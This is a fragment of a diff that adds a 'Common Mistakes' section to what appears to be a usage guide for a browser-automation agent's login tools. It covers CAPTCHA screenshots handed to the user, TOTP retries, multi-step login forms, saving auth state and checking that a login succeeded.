239
|
+
|
|
240
|
+
---
|
|
241
|
+
|
|
242
|
+
## Common Mistakes
|
|
243
|
+
|
|
244
|
+
1. **CAPTCHA screenshot is auto-taken** — `captcha_screenshot` field has the path. Do NOT call `screenshot` again separately before `request_user_input`.
|
|
245
|
+
|
|
246
|
+
2. **TOTP expires every 30 seconds** — if `totp_success=false`, call `handle_totp` again immediately (new code generated automatically).
|
|
247
|
+
|
|
248
|
+
3. **Multi-step vs single-step** — if username fills but password field never appears, try `multi_step=true`. Google/Microsoft/GitHub all use username-first flows.
|
|
249
|
+
|
|
250
|
+
4. **Always `save_auth_state` after success** — cookies alone aren't enough; `localStorage`/`sessionStorage` may hold auth tokens (JWT, access tokens).
|
|
251
|
+
|
|
252
|
+
5. **`check_auth_status` after every login** — don't assume success from URL alone. Some apps redirect to login page with error message (same URL, different content).
|